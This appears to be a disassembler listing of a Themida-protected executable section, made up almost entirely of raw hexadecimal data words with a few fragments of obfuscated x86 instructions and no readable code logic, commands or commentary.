dd 0BAE92951h, 0B8B88049h, 24247A9Dh, 0FD81611Bh, 5B28685Fh
dd 0BB0F3C23h, 272C7CC7h, 0F68034A8h, 88511CD6h, 9FE9DF5h
dd 2F0759EFh, 85CF744Ch, 0BF300D39h, 0F04C831Eh, 1EEC47E9h
dd 0C3C77B9h, 0F1C7FB2Dh, 8A5D1001h, 8BC80163h, 0F3572321h
dd 0EB9C2C64h, 744333E9h, 0C9F744AFh, 31581E25h, 97BA13h
dd 0FD06E6C1h, 1F579DCCh, 0CD4E6DC4h, 11E7D89h, 35D6BC9h
dd 37487E87h, 0EA6149D1h, 0C20029Eh, 3C407085h, 110F5A95h
dd 0AD92917h, 5B1D08E9h, 0A530DC89h, 0EF01D33Ch, 57E37E7h
dd 803318F4h, 8B28D031h, 66026F14h, 25E930FFh, 9C8588D4h
dd 0AA38CF8Eh, 561EA1DFh, 0B22C70Eh, 0E91481F8h, 0E59F166Eh
dd 67EB8FC3h, 906F9E44h, 0BF41B873h, 1DA2601h, 0D08958C2h
dd 0A0599530h, 8069D877h, 449EC83h, 6683971h, 8B2F4C02h
dd 98E91210h, 11865EE3h, 0E0CB412Ch, 11DD05F4h, 0E430C8F6h
dd 89859B59h, 22805AD1h, 484F0FBBh, 48F77198h, 4141FFCEh
dd 247B1B26h, 928D87EAh, 0CD436C1h, 51656DFCh, 0AE00C35Bh
dd 509248F3h, 3C8D2468h, 7FE961D6h, 1BA8DD3h, 0D0549A74h
dd 0E46283h, 6A0BD18h, 0EDC1270Ch, 946034Ch, 80E180D0h
dd 5F6DC74Ch, 29351FA3h, 851B9EFh, 33565122h, 5C243D4Dh
dd 56C8BE94h, 0F3195F01h, 40055830h, 7CB76806h, 4BC6B99h
dd 3B4B1C80h, 4F56B781h, 15779633h, 851F8AE9h, 3E02C411h
dd 0D9AB1A51h, 0A1B600C4h, 902DA856h, 3C27FFCh, 0E9FB0F08h
dd 3D031BE7h, 0D409ACC7h, 720C0022h, 5D2DF96Eh, 7960F1E9h
dd 0F45EF25h, 0C0D60A4h, 0A33326ADh, 5FF80113h, 262F9254h
dd 79407D66h, 506F3C6Ch, 9808AF29h, 18C3A874h, 5362913h
dd 6C293EBCh, 8214200Ch, 90CC2921h, 800175E6h, 663CD188h
dd 95B6985Ah, 782BB12h, 134A833h, 53C6C2DDh, 4AC0D4Bh
dd 52075A92h, 0BBB25954h, 2426980Bh, 23DCC5Dh, 6E341250h
dd 58C33E44h, 44125281h, 0C90049F5h, 72766F52h, 330E50Eh
dd 0D5F7E54Bh, 238DB90Fh, 0C0015170h, 0A3E508E9h, 0C1D8F8C6h
dd 4C0760E8h, 1315497Fh, 1692BF80h, 0F29A891h, 58200171h
dd 6E50685Ah, 6998F8A6h, 0C6B13448h, 17C101B9h, 33234568h
dd 1BFEBA5Eh, 86CE6C1h, 0C802F38h, 7C0B03B8h, 3E5923E9h
dd 1C471395h, 0C4688D20h, 0E932A805h, 401E9B3h, 1050311Fh
dd 3C8B59F1h, 0BFB0CBA4h, 8E990270h, 0A1665C89h, 37BF68CFh
dd 0C61A53B4h, 44430BDh, 7552A68h, 0BF57285Eh, 0AFAF20Eh
dd 0F336E95Fh, 242326A1h, 742510D8h, 53574C6h, 65774DAh
dd 0BBE9035Bh, 5048A58Bh, 86B41786h, 5A568152h, 0B2E15E09h
dd 99D0421Eh, 0CD0D0CD5h, 52C3FDE3h, 0C212EC15h, 583DA4C0h
dd 3521B8C1h, 0A03CB703h, 12FA5F8h, 5BDA010Eh, 0E02DAE20h
dd 297B121Eh, 8A410D7h, 5F4CF648h, 6729EA1h, 2E0E8CB6h
dd 52321362h, 8F5EA890h, 0A02A719Ah, 0E769A412h, 0EF96197Eh
dd 0B14A66DAh, 71819EA0h, 0E1D931D3h, 613865DBh, 0A7A6016Dh
dd 0B6D64C49h, 0F1887F1Fh, 201CD609h, 0CE5569C2h, 615EF420h
dd 2EC6F03h, 0A4E2966h, 0C7D93026h, 5D981034h, 0FA9735E9h
dd 44289471h, 163C4079h, 5F30C524h, 2C26852h, 0E935807Fh
dd 8FAA364Dh, 0EEB35337h, 84559DB4h, 7D61E96Dh, 0C5835902h
dd 88BB908Ah, 53124A1Bh, 21474E07h, 0E7EF8039h, 0E5DC0499h
dd 6D83FF41h, 8B7F7763h, 515D6B00h, 0F85E9EB9h
db 19h
; ---------------------------------------------------------------------------
loc_4E6DBD: ; CODE XREF: Themida_:004E6DD3j
pop eax
shl dword ptr [ecx], 0Ch
jmp near ptr 53BFAE08h
; ---------------------------------------------------------------------------
dw 50FBh
db 87h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
cwde
or cl, [edx-16F9DEA7h]
jle short loc_4E6DBD
db 64h
mov bh, 83h
inc ebp
cmp [edx+ebp*2+5A51A4B8h], ebx
add [esi], cl
push 19442F1Dh
add esi, eax
pop eax
push es
push ebx
xor [edx-73h], al
add dh, [esi]
icebp
aas
jmp near ptr 0C7989C1Ah
; ---------------------------------------------------------------------------
dd 0FB20F6C6h, 76667B15h, 61DAF2EAh, 0C4807EF9h, 0E5CCCC42h
dd 53B25226h, 805AD40Fh, 0D0E928ECh, 643AD881h, 0CD904953h
dd 0B6AEC8C0h, 1689A4FAh, 7295DEFh, 4BF4E91Eh, 32C8F7A8h
dd 2D685807h, 59675451h, 28A6FE48h, 7C98205Eh, 0AFEE8003h
dd 0DAB3B151h, 0A5A8503Ch, 4E6884A5h, 1B53A278h, 37E909E9h
dd 535E505Ch, 0D1B0EF52h, 744BE9EDh, 2966E302h, 8040CCF0h
dd 0FB257D86h, 0D3181339h, 515A4D30h, 2A129CFEh, 4E8C0387h
dd 0C503B0C1h, 81510606h, 101872Eh, 3AF8C35Ch, 0E570DDCFh
dd 304DD3AFh, 0A4E81D15h, 5285F1Ch, 58A3FB44h, 54C7131Eh
dd 981B4B8Bh, 7B96CBFDh, 4AD89D2Ch, 0F304D29Bh, 7A2E10EAh
dd 2DCE4491h, 0D50F45E2h, 0E6D8017Eh, 236F12Eh, 8016B753h
dd 0DA4199CFh, 0EB639C5Ch, 488028Bh, 0DA8CD8EEh, 1487245Bh
dd 0A8D268D7h, 0B4DD559Ah, 4B577224h, 3A2B0B54h, 5A1F74B8h
dd 96E788h, 53288426h, 0EA4F3ABBh, 0DF296E03h, 21AE95Bh
dd 2B03BA53h, 0EC04251h, 0E13B3E79h, 23E20335h, 6775461h
dd 0A4E94AF6h, 5E3B5A42h, 6B0A9257h, 40C91A44h, 280C9761h
dd 0DAC8DB87h, 0E8165050h, 2FBD0FB8h, 73660AA6h, 0F300AF84h
dd 9BF1EE9Ch, 0C35BDE29h, 0EB82E9E9h, 0C9313824h, 53A6F71Fh
dd 0B0551604h, 0F6715887h, 0B7C8EAA9h, 5EF72E89h, 0B42252h
dd 3054B050h, 620458C1h, 2CC8281Dh, 27D15914h, 22629815h
dd 0CF8BC170h, 80D60F79h, 1C8EF70Ch, 1229B169h, 0C301E9F9h
dd 1C004FE3h, 5A9F6EBEh, 0A59CA05h, 51E9377Ch, 0D0308AC0h
dd 771413D7h, 0FC3C0DDh, 0D1B8C0B6h, 8559958Ah, 114CA928h
dd 7A87D3BAh, 2F01C64h, 5816413Fh, 4824589Ah, 0E9125B91h
dd 68083B53h, 915D1330h, 22801A3h, 5C7AC959h, 0E403375h
dd 1D0C7A18h, 661CE91Eh, 70CC40FFh, 1282442h, 0A422ABF0h
dd 0B7B80509h, 8273AF69h, 0E19122DDh, 169646Dh, 2D32DD48h
dd 5127077Bh, 22B95977h, 4A4BFD3Dh, 0A43E4CE9h, 5594CB17h
dd 252AD700h, 0F2A04B3Dh, 610043CEh, 0EEC14CD6h, 0BA9CE902h
dd 25547619h, 0C6A21E7Fh, 5C2D23BEh, 374EDB2h, 433C3500h
dd 48273D29h, 83EE4FA4h, 8EBC15Eh, 77CCC407h, 0CEF2392Ch
dd 81BA4CEEh, 0E00660D8h, 0C1A41CF4h, 0D6848098h, 3F9F72Ch
dd 2F301212h, 30E99C50h, 5850CCDCh, 773EDC0h, 8008E51Dh
dd 30CE7BDh, 2C43C560h, 0E8281D21h, 8C591504h, 52CDE916h
dd 0F9261ED5h, 0CA4FF79Eh, 8DA6758Bh, 9180D366h, 6775A76Ah
dd 0E0680BA2h, 5928195Ah, 20F18119h, 80DE510Fh, 0A5652EB9h
dd 0A85E483Ah, 94410741h, 0AF6271D4h, 0E60C6802h, 0D3C05B4Ch
dd 0EE306520h, 74541A70h, 29371E2Ah, 8ED14CDh, 0C3B5E912h
dd 6EB35A9Eh, 2D29AF50h, 3B430A1Fh, 94675E1Ch, 0E8832D4Ah
dd 80E92710h, 0E6D1095Ch, 0E01E960Ch, 28A3C380h, 0C83AE79Ch
dd 2CC6902Eh, 7B01C453h, 0D73006B7h, 0ABD998BCh, 4B4E4730h
dd 8A7C9151h, 18E61231h, 8060EC30h, 0F6DB0FB4h, 60EC0D4h
dd 8305E465h, 2B87E2E5h, 0EBEBB0Eh, 2CC71EEAh, 4D0836Dh
dd 0E97880A5h, 139E1566h, 299F6BEFh, 0CF1581D2h, 5B30C7FEh
dd 0A934391Fh, 600C293Ah, 1E3C3E9h, 2A05E801h, 573DB07Ah
dd 3199DF20h, 694C4F1Dh, 8565F7h, 3F76C7EAh, 39594928h
dd 4068B281h, 0E9315D0Ch, 292E5AE6h, 0F53BC24Ch, 4803D39Ah
dd 708F1D2Dh, 4AC3FA7Dh, 2513E581h, 10A3198Bh, 0C3F8FB01h
dd 20EA23E8h, 50BA5238h, 327DA5Dh, 40D69A02h, 81489F07h
dd 8F44D85Dh, 18D32980h, 42C3015Ah, 0D62C5642h, 0CCECF072h
dd 413A00BDh, 0EA295EF9h, 764DB6E9h, 8FD82EB2h, 0D9FBD3AAh
dd 2E9D73DFh, 0E958165Dh, 2CC2B18Fh, 60910CCh, 0D7F7FB87h
dd 0DC46F608h, 58C70B61h, 0FEF2D40h, 0D870DC90h, 0E466FD28h
dd 0CCA28ECh, 5216405Bh, 0A221D457h, 908DD72Eh, 4504CAFEh
dd 0FA5A1A1Ch, 0D6E44478h, 207B06CBh, 32685318h, 7B9E9417h
dd 0B4506D2Dh, 0B92D04AEh, 820C8A3Fh, 78105C1h, 3DFF505Eh
dd 3A5469EEh, 4C4439Fh, 0C05FB340h, 0CB7B80E3h, 510E6618h
dd 0FD2853B1h, 2604AACh, 4FE99A2Ch, 0C69C4949h, 0E088F494h
dd 70265CD5h, 212D2271h, 62A468C1h, 0BF86ED3Ch, 57A127D0h
dd 0C4587C27h, 68007C01h, 3AD60A2Ah, 0D84D13F4h, 0F7518ADCh
dd 0B3B2ECE9h, 0A09620F7h, 5C4BDF1Fh, 0B0503646h, 2C3F12D3h
dd 0C96D034Ah, 0C0DD066Fh, 0A26C78E1h, 0DE314912h, 17D938B0h
dd 6B53Eh, 0BD73FDA5h, 0D75DE97Ah, 836F731Ah, 0A9452BB2h
dd 0D9AB8207h, 10BE0779h, 29583FA4h, 0D15AD60Fh, 75ADE5E6h
dd 0EDD6785Ch, 62467E09h, 8F873C0h, 0BF0E141Fh, 4A5F0080h
dd 523C22Dh, 0F8016E8Bh, 0A6071F05h, 80D10848h, 5CA16052h
dd 605D8125h, 6B803B6h, 0A5B29817h, 3D6DD905h, 90DC1BB5h
dd 68199E14h, 0B9EEDB5h, 985B52BEh, 402CE926h, 1C51B505h
dd 12832C49h, 8804FEB2h, 0E8C37EF3h, 0C09485FFh, 0C58719DDh
dd 0BB42CDEh, 0E9821F0Eh, 0BD4472F3h, 9F746AD4h, 9886AA7Ah
dd 604BF481h, 62652AA8h, 0B48121FDh, 1E69EF81h, 532A0C63h
dd 0EE0738DFh, 20FEA80Eh, 82E95FFEh, 0BD28C008h, 6605144Eh
dd 0E60B6B90h, 40C81D55h, 4D99E959h, 0C98B3B7Ch, 3C5FE1C1h
dd 0F920D69Fh, 82704F68h, 80304A41h, 4E67C689h, 0B45B26FBh
dd 0D336429h, 0DAC0631h, 6261AC4Ah, 0F7035C41h, 0BA9E3DDDh
dd 4DCA051Fh, 251A3F37h, 609E3141h, 73D97F1Fh, 0C1FA4AA6h
dd 1FEE0C5h, 0CCE1E480h, 0E7E0BCC4h, 0FA885801h, 6E2C05Bh
dd 0CF4CC420h, 53A55428h, 2FC61F56h, 27C1E5AEh, 903EA24Eh
dd 68005452h, 50FF2D21h, 2F8C159h, 5203C090h, 91F822Eh
dd 9F07DD9h, 0E04010A7h, 0E0CD9005h, 7EBA1CF3h, 90C82920h
dd 306813A2h, 41F0897Ah, 481267Bh, 51ACAE0Fh, 1D64B310h
dd 4ACC6F04h, 0AB580E31h, 531EC9A3h, 60D6323Dh, 553EE9FBh
dd 0CECB16D2h, 4556294Eh, 5C1CD2E5h, 0A5225BDAh, 2E929848h
dd 0A561BB2h, 27CA8804h, 8485A9B0h, 78895E80h, 638D2710h
dd 5BE25A0h, 14F6647Ah, 74974465h, 0D549ECF2h, 1999552Ch
dd 20E1D950h, 36C62D3Fh, 286735BFh, 0D3A7C782h, 0ED5B0893h
dd 0E257521Eh, 0CE7C0D8Dh, 0E926D8B4h, 4FF6F12Eh, 15CCCA81h
dd 0F2D82152h, 54491E57h, 38F71922h, 0A0CD3C5Ah, 0B6013A68h
dd 59C260E9h, 0B805654Dh, 23E2D7D0h, 0EDE0FD5Bh, 0B62A02B6h
dd 53500E96h, 0FC44CF88h, 0A407815Bh, 8C680015h, 3E2FC646h
dd 0E35C3B5Ah, 0ACAC5FEAh, 10E93C3Ah, 38DC6A5h, 561B68DFh
dd 224C3710h, 0C2015D0Fh, 470D3605h, 25D58858h, 3250162Bh
dd 0E4D02A80h, 0F5624FB4h, 800E445Eh, 20EF287h, 0E93CE514h
dd 93C8C6B9h, 48A53D1h, 0ACD0569Bh, 16F41C5h, 68575A20h
dd 0C6695164h, 0A8B9F960h, 2E8E1904h, 0ECC0E1C1h, 3B3F80F1h
dd 796E38h, 1D6507EAh, 0DE9D1F7h, 0F0EC4155h, 0B10A5AA8h
dd 0F4FA0175h, 502E0820h, 0D065F0B8h, 0C52D6D82h, 0BF0F2EF9h
dd 0BCCB409Bh, 124A1378h, 0A2265814h, 4D230A83h, 95652208h
dd 2956C486h, 1BE1BE8Dh, 3568F93Ch, 0DABAB990h, 135AD19Eh
dd 0F5A08DCEh, 5E3B9AF0h, 4C9A5813h, 16392056h, 55B703BEh
dd 9A23F0EEh, 6700BD1Ch, 312D877Ah, 31E958C5h, 174D079h
dd 165230D9h, 7DDF1C39h, 0D7562731h, 874C04EEh, 1D97B649h
dd 8D55BD59h, 3E489CA1h
dd 0D3275FB7h, 81F558C7h, 79315D36h, 0E5384861h, 4D357F60h
dd 6D7320h, 53A1BF57h, 0BA6860FBh, 0CBD35658h, 4CE487BEh
dd 56481DBh, 0C1DCB373h, 7338B8E2h, 16B6801Dh, 66F08800h
dd 80A0045Ah, 0E61270C3h, 0BC159E9h, 0B013E42h, 0FB840FC0h
dd 77D0513Bh, 0A6542428h, 4DBD2E03h, 0AD142E9h, 0C8758FCh
dd 0BA9D6AF5h, 0C83CB948h, 8F05126h, 3B2FC539h, 58C2E94Dh
dd 25270B98h, 62668ADh, 0DEC51C44h, 10ADF310h, 2A581420h
dd 0B753E304h, 700AB8D7h, 0DE2CD83Bh, 8480BD57h, 3685253h
dd 2494A33h, 31BB425Ah, 78A3609Dh, 367C8030h, 49CDF24Ch
dd 0B0EB00DCh, 0E90E681Ch, 25569EE4h, 0CA1DB167h, 0CF80BAF0h
dd 1106C117h, 0E403E7C0h, 0F7F88BC7h, 0B4B08270h, 164BC2FEh
dd 0E4981925h, 0E9523A66h, 8D94FF2Dh, 3216C89Eh, 2902AC95h
dd 0BB5EF101h, 814AEEC0h, 97A47FBAh, 25612C63h, 8A625D0Ch
dd 1A5CCB40h, 651C6853h, 55D56C41h, 0FC8D82C7h, 4FA3FD6Ah
dd 0FF2CF828h, 0E959245Bh, 0ABA67BFDh, 857616F1h, 0D3F5B392h
dd 4051C362h, 95F0A72h, 0F9895DA8h, 792CCC0Bh, 6A9ADFAEh
dd 0C0CFFE03h, 9A8004EFh, 0D4D612Fh, 0D30B9579h, 384F030h
dd 62680207h, 8CB56641h, 4C544BA7h, 0D1B7B792h, 17FEE4Ch
dd 590E0FD8h, 1D30DEF7h, 2C7302EDh, 672DE936h, 44F9874h
dd 6AB37D0Eh, 0DBC3C814h, 0B7DF085Ch, 0E09EE50Ch, 0B79821B8h
dd 27A0524Dh, 1AB1859h, 8B34B3CEh, 4F29B8E9h, 21138551h
dd 245A0BA2h, 807C84D4h, 605C7101h, 99064940h, 0E3390904h
dd 685EACACh, 12586F27h, 2C72C5C7h, 0FC910CF9h, 9D07E2CDh
dd 50579E79h, 0EA1A8C4h, 0CF404669h, 16D29CA3h, 3AE8F5Fh
dd 88505351h, 54E392D4h, 5A1253F7h, 49CC651Ah, 2CDB2D68h
dd 50E8F599h, 9B055F82h, 1159071Eh, 72DD84Ah, 2F8D853Ah
dd 0A7C0178Bh, 1743637Eh, 0CCE82960h, 0D5296819h, 9CA0807Ch
dd 1D0DDC00h, 0B245BD3Dh, 31291586h, 2349CFD5h, 21365260h
dd 0F7133439h, 821C4DDDh, 0B72515D6h, 0FBACA39Dh, 0CF282C9Fh
dd 5AD8B509h, 142DAAEh, 5321A530h, 480906BBh, 14B75F8h
dd 7B5D192Ah, 0C0DBF460h, 73A52210h, 0DE0C0193h, 38CE84E9h
dd 8368155Dh, 7B859D24h, 55AE607Fh, 0DEA05D54h, 8082E2BEh
dd 0DC7DD000h, 0E04D6736h, 63EDA045h, 0AC0F92CCh, 3C5DEF21h
dd 10021CC5h, 5FFA1CC1h, 9E52F964h, 68724C43h, 901C982Fh
dd 915B542Eh, 9649698Bh, 13243F8Fh, 54561AD0h, 0A230975Eh
dd 0E9803B82h, 4B845851h, 21ECB592h, 0C1028C1h, 642E580h
dd 0C5FE3EB5h, 4BD233AAh, 60878CBDh, 2CE37E0Eh, 4810D601h
dd 0C75D2708h, 0C1D90AE3h, 0E6A43995h, 0DAEF08AAh, 2AA06E25h
dd 9C6EEB83h, 560F8098h, 33B86DB3h, 47DC6B01h, 0D148D0F7h
dd 56EB9630h, 6459D029h, 6802503Ah, 78084D5Dh, 0B35C94C2h
dd 38428F05h, 753A8581h, 39F8004h, 1F587E27h, 29D8015Bh
dd 10E95379h, 8D4F7D78h, 2B0E25EEh, 0D6A1DE25h, 3634D4E1h
dd 79DC17BEh, 0AF70059Ch, 877B8840h, 838AD9B8h, 35333269h
dd 8A72203h, 266B0968h, 9D6F1237h, 0D6E24229h, 832542C4h
dd 682C683Ah, 74355802h, 0B86E24D2h, 6D9A03B0h, 0C48B7F09h
dd 28C11DDCh, 2E007E1h, 1E335C8Ch, 0F080D1F7h, 9B83D24h
dd 1BA9A94h, 0DEE55B96h, 0DC8CCF89h, 4F15227h, 0F7A4B01h
dd 737CCE81h, 0B883A131h, 2FE567B3h, 1CD30C17h, 0F3099D16h
dd 0C707805Eh, 16386A0Dh, 95DEE01h, 92CDE46h, 592650A6h
dd 4E1C2E58h, 6FE1A58h, 0E5B7C841h, 18FEF501h, 263070F7h
dd 40D269F4h, 0C582B489h, 53094EA4h, 0E4A82678h, 63322EDh
dd 0DD40631h, 0C886105Bh, 297B1542h, 0B2FDC0ACh, 0CB7CD628h
dd 144B1E27h, 3A1049E9h, 0E3537301h, 0A0CD016Fh, 1CC00890h
dd 778947F4h, 6E2527E9h, 4A14C726h, 0FF0D06DBh, 0C8B90DB4h
dd 0F20188C4h, 6A4978A3h, 93114922h, 3D800F21h, 0B08E726Ah
dd 9F0778EAh, 4E3B388Dh, 691AB7D0h, 1323C58h, 7CBCD4Eh
dd 6F92EB0Ch, 0B2E20E89h, 0C018696Ch, 50603EEh, 0BC660FEh
dd 800CB151h, 99A9C939h, 0C406A4C1h, 4BC3E9E4h, 0C95A5D30h
dd 5FF2391Ch, 0D21F330h, 2BDDB9h, 0C981367Fh, 2AB471DEh
dd 1F2EAA80h, 40414CC2h, 9E5EC8E1h, 425E91Ch, 98C8C44Fh
dd 931E52D6h, 2811FF8Bh, 0D9CCEEA8h, 560DE69Eh, 5EC11968h
dd 0A697470h, 294D3348h, 5808098Fh, 0E927B7D2h, 0F670609Ch
dd 25804CD2h, 9DA662Ch, 0C450E101h, 8103079Ah, 0B64A84C2h
dd 0A0D7F23Dh, 8CE95AA8h, 96DCA45h, 5002AC0Ch, 0BB806BD5h
dd 770D0994h, 2CD83179h, 0A396EA00h, 0D62161A5h, 0EB965Ah
dd 43850C72h, 800E0C1h, 4AABE56h, 54E37B6h, 3361E681h
dd 302587EEh, 6E68DE2Ch, 8BC1314Ah, 860659C2h, 5DDFCB02h
dd 4043178Dh, 303DB8D9h, 2B787ECAh, 70FB8409h, 5E19ED85h
dd 0BF185358h, 30DEC8C0h, 6445D329h, 1A60104Eh, 4C453642h
dd 1E016960h, 0BB03DE58h, 0B74EAE83h, 679595E9h, 0D66ABE8Ah
dd 7E5562D4h, 5B173A59h, 0CF13CD04h, 1D7A8B09h, 48665720h
dd 848B3555h, 0F85A5C2h, 0D2D2535Ah, 0EDE87956h, 42FED5F7h
dd 6812059Ah, 0C1F75B9Fh, 26EF5310h, 33129901h, 631B50Dh
dd 875C0D96h, 447622F7h, 1D9F915Eh, 523FB709h, 0E908802Bh
dd 658DD3A6h, 7F9488AEh, 0E3DD734Bh, 5B680608h, 8DC135F6h
dd 8F0A3239h, 82F2768Fh, 3F5CA3D1h, 0B8B7C8A4h, 5612A400h
dd 2E6F055Fh, 16475FBh, 3BAEBEF1h, 3E58C701h, 0F2F74762h
dd 12692783h, 50DAA33Bh, 0B72E78h, 16245122h, 5DBE3C09h
dd 0E91F0304h, 17CBFCAAh, 9F8DEEB2h, 0C438DD20h, 84E4B61Ah
dd 16D453B5h, 0B42E242Ah, 814285D3h, 0FD88AA7Dh, 0E5686DE1h
dd 0B0313F76h, 0A9830EB5h, 322351C6h, 0F6B859C3h, 0BD01A67Dh
dd 3C460574h, 102B62A9h, 615E07F7h, 35325Ah, 0D35FFB29h
dd 0B0DB9493h, 809ECD54h, 4404B117h, 5B94EE54h, 4E08FF93h
dd 61F88D1h, 34DC80AAh, 1D90FB5Bh, 0D3CE3131h, 0C35F87EEh
dd 0A1CBD0Eh, 0D8090AB3h, 82DF8266h, 87C20E4Dh, 0C94252DAh
dd 1247FC4h, 5A131C54h, 1A424338h, 2ABE07E9h, 0FE39EA40h
dd 0F130C175h, 88F50630h, 7A1FB8CBh, 72ADB2A6h, 0EAEF00F6h
dd 5EF301B3h, 0C8F7EB29h, 352E107Fh, 0D6090E69h, 22423276h
dd 733EEF83h, 2255928Ch, 0DA645D6Dh, 4692E917h, 5908BBC9h
dd 8DF85A21h, 850B5055h, 0A0DDDBBAh, 91C32A1Fh, 95146831h
dd 83B4AFA8h, 8B030687h, 196E7CC1h, 0A4CFFF53h, 13EC74DAh
dd 314AC4h, 5C67BF57h, 0F74717F8h, 9EB7B4DFh, 0B807A30Fh
dd 3BF8BB01h, 0A525582Fh, 0F7564203h, 0F14C5Ch, 6D434B94h
dd 9E5221E9h, 1B246FB1h, 0F27B97F8h, 99C46029h, 3412310Bh
dd 76E5AC33h, 0B3491803h, 47620C08h, 0DE820h, 0D0D51606h
dd 26E9FE01h, 0EDE77C63h, 28A7D323h, 82C0D506h, 1CCB0408h
dd 64FD2D00h, 80C42B47h, 9001136h, 53E2D1C2h, 49C8BB4Fh
dd 35E909C3h, 7B843684h, 1AD4C355h, 26ECE185h, 77F10468h
dd 3CB108BEh, 710889CAh, 0DAF949A5h, 52B040C9h, 5A798612h
dd 1A635D27h, 0AEF40EAh, 83F383DCh, 9D8B584Fh, 0A06C2D05h
dd 6A28154h, 0F118D535h, 422D6071h, 0A66B484Ch, 0D0E61DCh
dd 2FA6EB80h, 52E2D337h, 0A85DF932h, 495F647Fh, 0F89ECCBFh
dd 404029F7h, 7300FDA6h
dd 0F3813DCCh, 5C306FA1h, 0BA8EDD47h, 0E4011787h, 870C0F6Ch
dd 5C956BB7h, 0C8AE5D7h, 0F9805644h, 5C596A1Dh, 29024B76h
dd 4A203B06h, 0C9F8A78h, 0BA91A07h, 89FB7228h, 0E6592C8Bh
dd 78C05B16h, 7D6078F5h, 0E90EC440h, 0D59BB164h, 812B35D0h
dd 5AFF32Ah, 0FD20727Ch, 0F25207CFh, 0FDDD89EAh, 8323D88Ch
dd 0D0036F79h, 5DE8315Ah, 73C0B5F7h, 0A046A964h, 0C54802C0h
dd 9083E916h, 7EEFBE95h, 0EEC6D463h, 160D4FEBh, 4908F1FBh
dd 0C9B43D0Dh, 0A60C6702h, 4FC242B9h, 0D2895F02h, 6D525E2Ah
dd 0C13BA8EAh, 30B67B01h, 59C80191h, 0E9B1026Eh, 3849F56Eh
dd 54747929h, 7226ADF3h, 7908CE43h, 89580A66h, 9A050183h
dd 21504668h, 94B0300Ah, 7A283B1Eh, 304B86C9h, 18C756h
dd 0D407301h, 41D96152h, 0DF3598A0h, 0A563547Fh, 0C922E26Ch
dd 88DA291Bh, 581E089Bh, 3FE9F043h, 9FA677F2h, 2872D58Eh
dd 0C8FAEFBCh, 0A50A7528h, 257FB17Dh, 1DFD0126h, 0E9170820h
dd 4E450AE6h, 554F1BB3h, 3BDC55Eh, 311E8CF9h, 658A56C6h
dd 0ECCE817Ah, 0A0101D4h, 59100A62h, 0EF80006Eh, 5BFD30B1h
dd 0FEF0ED28h, 97E92FCFh, 0D2E6008Bh, 20EF0126h, 6106FE5Ah
dd 7868E9h, 2C3443BEh, 22940B49h, 58298D8h, 273945EAh
dd 5E892C1Ah, 71536828h, 5858A8CAh, 15F3708h, 0C634C52Ch
dd 80947030h, 8BA0E739h, 228DAF7h, 171E505h, 564D0D68h
dd 134A5A25h, 4E1C19CCh, 3216CD6Ah, 0E4B47853h, 3B87E9C4h
dd 3625809h, 619638D0h, 100BD2F7h, 2F62C6Bh, 2A866Eh, 2E6A38B9h
dd 19AD4E4Ch, 29923B92h, 5A7A7E22h, 66BE0173h, 0D038B353h
dd 30FEB450h, 581CE37Ah, 0F6A6CBFEh, 0D8F0BE16h, 204700C7h
dd 43371E27h, 24EF5F31h, 513DAF9h, 7F08666Dh, 0DEF7054Bh
dd 6818C046h, 2F7E785Bh, 0C007115Ah, 4D73FA29h, 68810EC3h
dd 548E5A48h, 140359D7h, 8C5A0481h, 8FF28F10h, 8357CF5Dh
dd 0E13E26BFh, 0BE217C29h, 1FD5FF5h, 1A029A30h, 5ED5A7E9h
dd 68147AF0h, 0DEB43D32h, 0D248B500h, 5399E921h, 0CA50C931h
dd 0F6E1772h, 0C408164Dh, 1C830926h, 0C0BBE1E1h, 283F6513h
dd 24CD8081h, 0DBF70411h, 0A3E91B4Bh, 0CACA32B8h, 0E881F6E3h
dd 8F97D32Ch, 1EF01FE6h, 0BE3F051Bh, 5310D120h, 3ED91625h
dd 76497463h, 323C597Ah, 70F18100h, 290B6C93h, 6EFCA097h
dd 80081C0Ah, 8804325Dh, 39CBE97Eh, 0AAC936ACh, 0F9575961h
dd 3A0B6F19h, 40455051h, 0DA723116h, 0D87BD374h, 3FE19E98h
dd 5251D90Eh, 0E1DA7AE1h, 0F152D50Eh, 58837E05h, 0E694B2E9h
dd 0CA2909h, 0DE1E2AB5h, 800CCF51h, 801B6A64h, 5F6E025Ah
dd 0F2523A50h, 0F628689Eh, 5512CE91h, 31392F02h, 278FC13h
dd 58E03B9h, 0C15AFAC0h, 1301ED5Ah, 0B0C475Ch, 0AD4CE0A7h
dd 0F3CBD398h, 203E52D2h, 2C0BB769h, 84C288BCh, 95204C0h
dd 0C55D30h, 6254E909h, 0E6BD0760h, 61362521h, 43BBB30h
dd 89B40CB5h, 9788C3F5h, 6968850Dh, 223F3426h, 0CE6B952h
dd 3359CB14h, 63136F7h, 0E95C0A0Dh, 0A7CC2D5Dh, 2F7DFFC0h
dd 526610C3h, 3DD2C150h, 3C05F02h, 40080591h, 20D60168h
dd 615A5A08h, 16F3D6Ch, 643F015Dh, 926BFD3Fh, 0ABF9394Bh
dd 9F58FA9h, 0E1AC7855h, 0EFE5BF4h, 80D9F6C1h, 0E960778Eh
dd 59CC88FCh, 0EEEEDCF6h, 0DB8E315Eh, 9BC38320h, 542C09E9h
dd 0B5F778EBh, 0ECC78EA5h, 25C0946Bh, 0D668206Eh, 0A59373Eh
dd 0B850F529h, 0B6612F08h, 0E9E8D05Eh, 71E3FD26h, 0D9883161h
dd 0E5715BD9h, 0CB5FD641h, 0BB646802h, 20B9079Ah, 9F429C6Dh
dd 0AC7F486Eh, 0A7B50751h, 0C2D3C580h, 3B4CD1D8h, 5123AEA1h
dd 235854F9h, 5821D397h, 847DD8CDh, 0C121CA01h, 2AEB8331h
dd 7772B000h, 4B608Ah, 6CDCBF57h, 0FB291401h, 919C35B0h
dd 4F2890Bh, 2ABCDE50h, 81A0D29Fh, 70DF09DBh, 3E2FEFDDh
dd 0B5786379h, 0E71292E2h, 1257F605h, 0F3291851h, 23050B2Ah
dd 9540CDC2h, 7813B88Fh, 6848957h, 0C31D7EE8h, 2A34CF7Ch
dd 0EB0ACB2Fh, 83590908h, 0FF04FB89h, 2A13C96Dh, 0F2810460h
dd 944B3010h, 9546C2A6h, 0BF076928h, 0B83B4227h, 5B0F667Bh
dd 7C0145BBh, 0E58850B5h, 0FECBC25Ch, 0E926F616h, 0AD9495E1h
dd 493005AEh, 891274CBh, 2356B080h, 83712831h, 1F7F298h
dd 690144EEh, 6C16E768h, 61508DCBh, 0E917A17Ch, 6831C05Ah
dd 12977973h, 6DC384C0h, 0C03D4DE3h, 8390392h, 252C432Fh
dd 0BCEF963Bh, 5BDE9844h, 0BDA59CF8h, 416809C0h, 45EF954h
